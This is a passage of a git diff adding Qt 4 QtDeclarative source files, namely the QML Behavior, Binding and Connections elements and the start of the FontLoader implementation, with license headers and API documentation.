+ \qmlclass Behavior QDeclarativeBehavior
+ \ingroup qml-animation-transition
+ \since 4.7
+ \brief The Behavior element allows you to specify a default animation for a property change.
+
+ A Behavior defines the default animation to be applied whenever a
+ particular property value changes.
+
+ For example, the following Behavior defines a NumberAnimation to be run
+ whenever the \l Rectangle's \c width value changes. When the MouseArea
+ is clicked, the \c width is changed, triggering the behavior's animation:
+
+ \snippet doc/src/snippets/declarative/behavior.qml 0
+
+ Note that a property cannot have more than one assigned Behavior. To provide
+ multiple animations within a Behavior, use ParallelAnimation or
+ SequentialAnimation.
+
+ If a \l{QML States}{state change} has a \l Transition that matches the same property as a
+ Behavior, the \l Transition animation overrides the Behavior for that
+ state change. For general advice on using Behaviors to animate state changes, see
+ \l{Using QML Behaviors with States}.
+
+ \sa {QML Animation and Transitions}, {declarative/animation/behaviors}{Behavior example}, QtDeclarative
+*/
+
+
+QDeclarativeBehavior::QDeclarativeBehavior(QObject *parent)
+ : QObject(*(new QDeclarativeBehaviorPrivate), parent)
+{
+}
+
+QDeclarativeBehavior::~QDeclarativeBehavior()
+{
+}
+
+/*!
+ \qmlproperty Animation Behavior::animation
+ \default
+
+ This property holds the animation to run when the behavior is triggered.
+*/
+
+QDeclarativeAbstractAnimation *QDeclarativeBehavior::animation()
+{
+ Q_D(QDeclarativeBehavior);
+ return d->animation;
+}
+
+void QDeclarativeBehavior::setAnimation(QDeclarativeAbstractAnimation *animation)
+{
+ Q_D(QDeclarativeBehavior);
+ if (d->animation) {
+ qmlInfo(this) << tr("Cannot change the animation assigned to a Behavior.");
+ return;
+ }
+
+ d->animation = animation;
+ if (d->animation) {
+ d->animation->setDefaultTarget(d->property);
+ d->animation->setDisableUserControl();
+ connect(d->animation->qtAnimation(),
+ SIGNAL(stateChanged(QAbstractAnimation::State,QAbstractAnimation::State)),
+ this,
+ SLOT(qtAnimationStateChanged(QAbstractAnimation::State,QAbstractAnimation::State)));
+ }
+}
+
+
+void QDeclarativeBehavior::qtAnimationStateChanged(QAbstractAnimation::State newState,QAbstractAnimation::State)
+{
+ Q_D(QDeclarativeBehavior);
+ if (!d->blockRunningChanged)
+ d->animation->notifyRunningChanged(newState == QAbstractAnimation::Running);
+}
+
+
+/*!
+ \qmlproperty bool Behavior::enabled
+
+ This property holds whether the behavior will be triggered when the tracked
+ property changes value.
+
+ By default a Behavior is enabled.
+*/
+
+bool QDeclarativeBehavior::enabled() const
+{
+ Q_D(const QDeclarativeBehavior);
+ return d->enabled;
+}
+
+void QDeclarativeBehavior::setEnabled(bool enabled)
+{
+ Q_D(QDeclarativeBehavior);
+ if (d->enabled == enabled)
+ return;
+ d->enabled = enabled;
+ emit enabledChanged();
+}
+
+void QDeclarativeBehavior::write(const QVariant &value)
+{
+ Q_D(QDeclarativeBehavior);
+ qmlExecuteDeferred(this);
+ if (!d->animation || !d->enabled || !d->finalized) {
+ QDeclarativePropertyPrivate::write(d->property, value, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding);
+ d->targetValue = value;
+ return;
+ }
+
+ if (d->animation->isRunning() && value == d->targetValue)
+ return;
+
+ d->currentValue = d->property.read();
+ d->targetValue = value;
+
+ if (d->animation->qtAnimation()->duration() != -1
+ && d->animation->qtAnimation()->state() != QAbstractAnimation::Stopped) {
+ d->blockRunningChanged = true;
+ d->animation->qtAnimation()->stop();
+ }
+
+ QDeclarativeStateOperation::ActionList actions;
+ QDeclarativeAction action;
+ action.property = d->property;
+ action.fromValue = d->currentValue;
+ action.toValue = value;
+ actions << action;
+
+ QList<QDeclarativeProperty> after;
+ d->animation->transition(actions, after, QDeclarativeAbstractAnimation::Forward);
+ d->animation->qtAnimation()->start();
+ d->blockRunningChanged = false;
+ if (!after.contains(d->property))
+ QDeclarativePropertyPrivate::write(d->property, value, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding);
+}
+
+void QDeclarativeBehavior::setTarget(const QDeclarativeProperty &property)
+{
+ Q_D(QDeclarativeBehavior);
+ d->property = property;
+ d->currentValue = property.read();
+ if (d->animation)
+ d->animation->setDefaultTarget(property);
+
+ QDeclarativeEnginePrivate *engPriv = QDeclarativeEnginePrivate::get(qmlEngine(this));
+ engPriv->registerFinalizedParserStatusObject(this, this->metaObject()->indexOfSlot("componentFinalized()"));
+}
+
+void QDeclarativeBehavior::componentFinalized()
+{
+ Q_D(QDeclarativeBehavior);
+ d->finalized = true;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativebehavior_p.h b/src/declarative/util/qdeclarativebehavior_p.h
new file mode 100644
index 00000000..d9294678
--- /dev/null
+++ b/src/declarative/util/qdeclarativebehavior_p.h
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEBEHAVIOR_H
+#define QDECLARATIVEBEHAVIOR_H
+
+#include "private/qdeclarativestate_p.h"
+
+#include <qdeclarativepropertyvaluesource.h>
+#include <qdeclarativepropertyvalueinterceptor.h>
+#include <qdeclarative.h>
+#include <QtCore/QAbstractAnimation>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeAbstractAnimation;
+class QDeclarativeBehaviorPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBehavior : public QObject, public QDeclarativePropertyValueInterceptor
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeBehavior)
+
+ Q_INTERFACES(QDeclarativePropertyValueInterceptor)
+ Q_CLASSINFO("DefaultProperty", "animation")
+ Q_PROPERTY(QDeclarativeAbstractAnimation *animation READ animation WRITE setAnimation)
+ Q_PROPERTY(bool enabled READ enabled WRITE setEnabled NOTIFY enabledChanged)
+ Q_CLASSINFO("DeferredPropertyNames", "animation")
+
+public:
+ QDeclarativeBehavior(QObject *parent=0);
+ ~QDeclarativeBehavior();
+
+ virtual void setTarget(const QDeclarativeProperty &);
+ virtual void write(const QVariant &value);
+
+ QDeclarativeAbstractAnimation *animation();
+ void setAnimation(QDeclarativeAbstractAnimation *);
+
+ bool enabled() const;
+ void setEnabled(bool enabled);
+
+Q_SIGNALS:
+ void enabledChanged();
+
+private Q_SLOTS:
+ void componentFinalized();
+ void qtAnimationStateChanged(QAbstractAnimation::State,QAbstractAnimation::State);
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeBehavior)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEBEHAVIOR_H
diff --git a/src/declarative/util/qdeclarativebind.cpp b/src/declarative/util/qdeclarativebind.cpp
new file mode 100644
index 00000000..bd077a81
--- /dev/null
+++ b/src/declarative/util/qdeclarativebind.cpp
@@ -0,0 +1,214 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativebind_p.h"
+
+#include "private/qdeclarativenullablevalue_p_p.h"
+#include "private/qdeclarativeguard_p.h"
+
+#include <qdeclarativeengine.h>
+#include <qdeclarativecontext.h>
+#include <qdeclarativeproperty.h>
+
+#include <QtCore/qfile.h>
+#include <QtCore/qdebug.h>
+#include <QtScript/qscriptvalue.h>
+#include <QtScript/qscriptcontext.h>
+#include <QtScript/qscriptengine.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeBindPrivate : public QObjectPrivate
+{
+public:
+ QDeclarativeBindPrivate() : when(true), componentComplete(true), obj(0) {}
+
+ bool when : 1;
+ bool componentComplete : 1;
+ QDeclarativeGuard<QObject> obj;
+ QString prop;
+ QDeclarativeNullableValue<QVariant> value;
+};
+
+
+/*!
+ \qmlclass Binding QDeclarativeBind
+ \ingroup qml-working-with-data
+ \since 4.7
+ \brief The Binding element allows arbitrary property bindings to be created.
+
+ Sometimes it is necessary to bind to a property of an object that wasn't
+ directly instantiated by QML - generally a property of a class exported
+ to QML by C++. In these cases, regular property binding doesn't work. Binding
+ allows you to bind any value to any property.
+
+ For example, imagine a C++ application that maps an "app.enteredText"
+ property into QML. You could use Binding to update the enteredText property
+ like this.
+ \code
+ TextEdit { id: myTextField; text: "Please type here..." }
+ Binding { target: app; property: "enteredText"; value: myTextField.text }
+ \endcode
+ Whenever the text in the TextEdit is updated, the C++ property will be
+ updated also.
+
+ If the binding target or binding property is changed, the bound value is
+ immediately pushed onto the new target.
+
+ \sa QtDeclarative
+*/
+QDeclarativeBind::QDeclarativeBind(QObject *parent)
+ : QObject(*(new QDeclarativeBindPrivate), parent)
+{
+}
+
+QDeclarativeBind::~QDeclarativeBind()
+{
+}
+
+/*!
+ \qmlproperty bool Binding::when
+
+ This property holds when the binding is active.
+ This should be set to an expression that evaluates to true when you want the binding to be active.
+
+ \code
+ Binding {
+ target: contactName; property: 'text'
+ value: name; when: list.ListView.isCurrentItem
+ }
+ \endcode
+*/
+bool QDeclarativeBind::when() const
+{
+ Q_D(const QDeclarativeBind);
+ return d->when;
+}
+
+void QDeclarativeBind::setWhen(bool v)
+{
+ Q_D(QDeclarativeBind);
+ d->when = v;
+ eval();
+}
+
+/*!
+ \qmlproperty Object Binding::target
+
+ The object to be updated.
+*/
+QObject *QDeclarativeBind::object()
+{
+ Q_D(const QDeclarativeBind);
+ return d->obj;
+}
+
+void QDeclarativeBind::setObject(QObject *obj)
+{
+ Q_D(QDeclarativeBind);
+ d->obj = obj;
+ eval();
+}
+
+/*!
+ \qmlproperty string Binding::property
+
+ The property to be updated.
+*/
+QString QDeclarativeBind::property() const
+{
+ Q_D(const QDeclarativeBind);
+ return d->prop;
+}
+
+void QDeclarativeBind::setProperty(const QString &p)
+{
+ Q_D(QDeclarativeBind);
+ d->prop = p;
+ eval();
+}
+
+/*!
+ \qmlproperty any Binding::value
+
+ The value to be set on the target object and property. This can be a
+ constant (which isn't very useful), or a bound expression.
+*/
+QVariant QDeclarativeBind::value() const
+{
+ Q_D(const QDeclarativeBind);
+ return d->value.value;
+}
+
+void QDeclarativeBind::setValue(const QVariant &v)
+{
+ Q_D(QDeclarativeBind);
+ d->value.value = v;
+ d->value.isNull = false;
+ eval();
+}
+
+void QDeclarativeBind::classBegin()
+{
+ Q_D(QDeclarativeBind);
+ d->componentComplete = false;
+}
+
+void QDeclarativeBind::componentComplete()
+{
+ Q_D(QDeclarativeBind);
+ d->componentComplete = true;
+ eval();
+}
+
+void QDeclarativeBind::eval()
+{
+ Q_D(QDeclarativeBind);
+ if (!d->obj || d->value.isNull || !d->when || !d->componentComplete)
+ return;
+
+ QDeclarativeProperty prop(d->obj, d->prop);
+ prop.write(d->value.value);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativebind_p.h b/src/declarative/util/qdeclarativebind_p.h
new file mode 100644
index 00000000..eb607a71
--- /dev/null
+++ b/src/declarative/util/qdeclarativebind_p.h
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEBIND_H
+#define QDECLARATIVEBIND_H
+
+#include <qdeclarative.h>
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeBindPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeBind : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeBind)
+ Q_INTERFACES(QDeclarativeParserStatus)
+ Q_PROPERTY(QObject *target READ object WRITE setObject)
+ Q_PROPERTY(QString property READ property WRITE setProperty)
+ Q_PROPERTY(QVariant value READ value WRITE setValue)
+ Q_PROPERTY(bool when READ when WRITE setWhen)
+
+public:
+ QDeclarativeBind(QObject *parent=0);
+ ~QDeclarativeBind();
+
+ bool when() const;
+ void setWhen(bool);
+
+ QObject *object();
+ void setObject(QObject *);
+
+ QString property() const;
+ void setProperty(const QString &);
+
+ QVariant value() const;
+ void setValue(const QVariant &);
+
+protected:
+ virtual void classBegin();
+ virtual void componentComplete();
+
+private:
+ void eval();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeBind)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp
new file mode 100644
index 00000000..7c9c9336
--- /dev/null
+++ b/src/declarative/util/qdeclarativeconnections.cpp
@@ -0,0 +1,289 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeconnections_p.h"
+
+#include <qdeclarativeexpression.h>
+#include <qdeclarativeproperty_p.h>
+#include <qdeclarativeboundsignal_p.h>
+#include <qdeclarativecontext.h>
+#include <qdeclarativecontext_p.h>
+#include <qdeclarativeinfo.h>
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qstringlist.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeConnectionsPrivate : public QObjectPrivate
+{
+public:
+ QDeclarativeConnectionsPrivate() : target(0), targetSet(false), ignoreUnknownSignals(false), componentcomplete(true) {}
+
+ QList<QDeclarativeBoundSignal*> boundsignals;
+ QObject *target;
+
+ bool targetSet;
+ bool ignoreUnknownSignals;
+ bool componentcomplete;
+
+ QByteArray data;
+};
+
+/*!
+ \qmlclass Connections QDeclarativeConnections
+ \ingroup qml-utility-elements
+ \since 4.7
+ \brief A Connections element describes generalized connections to signals.
+
+ A Connections object creates a connection to a QML signal.
+
+ When connecting to signals in QML, the usual way is to create an
+ "on<Signal>" handler that reacts when a signal is received, like this:
+
+ \qml
+ MouseArea {
+ onClicked: { foo(parameters) }
+ }
+ \endqml
+
+ However, it is not possible to connect to a signal in this way in some
+ cases, such as when:
+
+ \list
+ \i Multiple connections to the same signal are required
+ \i Creating connections outside the scope of the signal sender
+ \i Connecting to targets not defined in QML
+ \endlist
+
+ When any of these are needed, the Connections element can be used instead.
+
+ For example, the above code can be changed to use a Connections object,
+ like this:
+
+ \qml
+ MouseArea {
+ Connections {
+ onClicked: foo(parameters)
+ }
+ }
+ \endqml
+
+ More generally, the Connections object can be a child of some object other than
+ the sender of the signal:
+
+ \qml
+ MouseArea {
+ id: area
+ }
+ // ...
+ \endqml
+ \qml
+ Connections {
+ target: area
+ onClicked: foo(parameters)
+ }
+ \endqml
+
+ \sa QtDeclarative
+*/
+QDeclarativeConnections::QDeclarativeConnections(QObject *parent) :
+ QObject(*(new QDeclarativeConnectionsPrivate), parent)
+{
+}
+
+QDeclarativeConnections::~QDeclarativeConnections()
+{
+}
+
+/*!
+ \qmlproperty Object Connections::target
+ This property holds the object that sends the signal.
+
+ If this property is not set, the \c target defaults to the parent of the Connection.
+
+ If set to null, no connection is made and any signal handlers are ignored
+ until the target is not null.
+*/
+QObject *QDeclarativeConnections::target() const
+{
+ Q_D(const QDeclarativeConnections);
+ return d->targetSet ? d->target : parent();
+}
+
+void QDeclarativeConnections::setTarget(QObject *obj)
+{
+ Q_D(QDeclarativeConnections);
+ d->targetSet = true; // even if setting to 0, it is *set*
+ if (d->target == obj)
+ return;
+ foreach (QDeclarativeBoundSignal *s, d->boundsignals) {
+ // It is possible that target is being changed due to one of our signal
+ // handlers -> use deleteLater().
+ if (s->isEvaluating())
+ s->deleteLater();
+ else
+ delete s;
+ }
+ d->boundsignals.clear();
+ d->target = obj;
+ connectSignals();
+ emit targetChanged();
+}
+
+/*!
+ \qmlproperty bool Connections::ignoreUnknownSignals
+
+ Normally, a connection to a non-existent signal produces runtime errors.
+
+ If this property is set to \c true, such errors are ignored.
+ This is useful if you intend to connect to different types of objects, handling
+ a different set of signals for each object.
+*/
+bool QDeclarativeConnections::ignoreUnknownSignals() const
+{
+ Q_D(const QDeclarativeConnections);
+ return d->ignoreUnknownSignals;
+}
+
+void QDeclarativeConnections::setIgnoreUnknownSignals(bool ignore)
+{
+ Q_D(QDeclarativeConnections);
+ d->ignoreUnknownSignals = ignore;
+}
+
+
+
+QByteArray
+QDeclarativeConnectionsParser::compile(const QList<QDeclarativeCustomParserProperty> &props)
+{
+ QByteArray rv;
+ QDataStream ds(&rv, QIODevice::WriteOnly);
+
+ for(int ii = 0; ii < props.count(); ++ii)
+ {
+ QString propName = QString::fromUtf8(props.at(ii).name());
+ if (!propName.startsWith(QLatin1String("on")) || !propName.at(2).isUpper()) {
+ error(props.at(ii), QDeclarativeConnections::tr("Cannot assign to non-existent property \"%1\"").arg(propName));
+ return QByteArray();
+ }
+
+ QList<QVariant> values = props.at(ii).assignedValues();
+
+ for (int i = 0; i < values.count(); ++i) {
+ const QVariant &value = values.at(i);
+
+ if (value.userType() == qMetaTypeId<QDeclarativeCustomParserNode>()) {
+ error(props.at(ii), QDeclarativeConnections::tr("Connections: nested objects not allowed"));
+ return QByteArray();
+ } else if (value.userType() == qMetaTypeId<QDeclarativeCustomParserProperty>()) {
+ error(props.at(ii), QDeclarativeConnections::tr("Connections: syntax error"));
+ return QByteArray();
+ } else {
+ QDeclarativeParser::Variant v = qvariant_cast<QDeclarativeParser::Variant>(value);
+ if (v.isScript()) {
+ ds << propName;
+ ds << v.asScript();
+ } else {
+ error(props.at(ii), QDeclarativeConnections::tr("Connections: script expected"));
+ return QByteArray();
+ }
+ }
+ }
+ }
+
+ return rv;
+}
+
+void QDeclarativeConnectionsParser::setCustomData(QObject *object,
+ const QByteArray &data)
+{
+ QDeclarativeConnectionsPrivate *p =
+ static_cast<QDeclarativeConnectionsPrivate *>(QObjectPrivate::get(object));
+ p->data = data;
+}
+
+
+void QDeclarativeConnections::connectSignals()
+{
+ Q_D(QDeclarativeConnections);
+ if (!d->componentcomplete || (d->targetSet && !target()))
+ return;
+
+ QDataStream ds(d->data);
+ while (!ds.atEnd()) {
+ QString propName;
+ ds >> propName;
+ QString script;
+ ds >> script;
+ QDeclarativeProperty prop(target(), propName);
+ if (prop.isValid() && (prop.type() & QDeclarativeProperty::SignalProperty)) {
+ QDeclarativeBoundSignal *signal =
+ new QDeclarativeBoundSignal(target(), prop.method(), this);
+ QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(this), 0, script);
+ QDeclarativeData *ddata = QDeclarativeData::get(this);
+ if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
+ expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
+ signal->setExpression(expression);
+ d->boundsignals += signal;
+ } else {
+ if (!d->ignoreUnknownSignals)
+ qmlInfo(this) << tr("Cannot assign to non-existent property \"%1\"").arg(propName);
+ }
+ }
+}
+
+void QDeclarativeConnections::classBegin()
+{
+ Q_D(QDeclarativeConnections);
+ d->componentcomplete=false;
+}
+
+void QDeclarativeConnections::componentComplete()
+{
+ Q_D(QDeclarativeConnections);
+ d->componentcomplete=true;
+ connectSignals();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativeconnections_p.h b/src/declarative/util/qdeclarativeconnections_p.h
new file mode 100644
index 00000000..2cb34f2f
--- /dev/null
+++ b/src/declarative/util/qdeclarativeconnections_p.h
@@ -0,0 +1,103 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECONNECTIONS_H
+#define QDECLARATIVECONNECTIONS_H
+
+#include <qdeclarative.h>
+#include <qdeclarativescriptstring.h>
+#include <private/qdeclarativecustomparser_p.h>
+
+#include <QtCore/qobject.h>
+#include <QtCore/qstring.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeBoundSignal;
+class QDeclarativeContext;
+class QDeclarativeConnectionsPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeConnections : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeConnections)
+
+ Q_INTERFACES(QDeclarativeParserStatus)
+ Q_PROPERTY(QObject *target READ target WRITE setTarget NOTIFY targetChanged)
+ Q_PROPERTY(bool ignoreUnknownSignals READ ignoreUnknownSignals WRITE setIgnoreUnknownSignals)
+
+public:
+ QDeclarativeConnections(QObject *parent=0);
+ ~QDeclarativeConnections();
+
+ QObject *target() const;
+ void setTarget(QObject *);
+
+ bool ignoreUnknownSignals() const;
+ void setIgnoreUnknownSignals(bool ignore);
+
+Q_SIGNALS:
+ void targetChanged();
+
+private:
+ void connectSignals();
+ void classBegin();
+ void componentComplete();
+};
+
+class QDeclarativeConnectionsParser : public QDeclarativeCustomParser
+{
+public:
+ virtual QByteArray compile(const QList<QDeclarativeCustomParserProperty> &);
+ virtual void setCustomData(QObject *, const QByteArray &);
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeConnections)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/util/qdeclarativefontloader.cpp b/src/declarative/util/qdeclarativefontloader.cpp
new file mode 100644
index 00000000..d1fd49a1
--- /dev/null
+++ b/src/declarative/util/qdeclarativefontloader.cpp
@@ -0,0 +1,338 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativefontloader_p.h"
+
+#include <qdeclarativecontext.h>
+#include <qdeclarativeengine.h>
+
+#include <QStringList>
+#include <QUrl>
+#include <QDebug>
+#include <QNetworkRequest>
+#include <QNetworkReply>
+#include <QFontDatabase>
+
+#include <private/qobject_p.h>
+#include <private/qdeclarativeengine_p.h>
+#include <qdeclarativeinfo.h>
+
+QT_BEGIN_NAMESPACE
+
+#define FONTLOADER_MAXIMUM_REDIRECT_RECURSION 16
+
+class QDeclarativeFontObject : public QObject
+{
+Q_OBJECT
+
+public:
+ QDeclarativeFontObject(int _id);
+
+ void download(const QUrl &url, QNetworkAccessManager *manager);
+
+Q_SIGNALS:
+ void fontDownloaded(const QString&, QDeclarativeFontLoader::Status);
+
+private Q_SLOTS:
+ void replyFinished();
+
+public:
+ int id;
+
+private:
+ QNetworkReply *reply;
+ int redirectCount;
+
+ Q_DISABLE_COPY(QDeclarativeFontObject)
+};
+
+QDeclarativeFontObject::QDeclarativeFontObject(int _id = -1)
+ : QObject(0), id(_id), reply(0), redirectCount(0) {}
+
+
+void QDeclarativeFontObject::download(const QUrl &url, QNetworkAccessManager *manager)
+{
+ QNetworkRequest req(url);
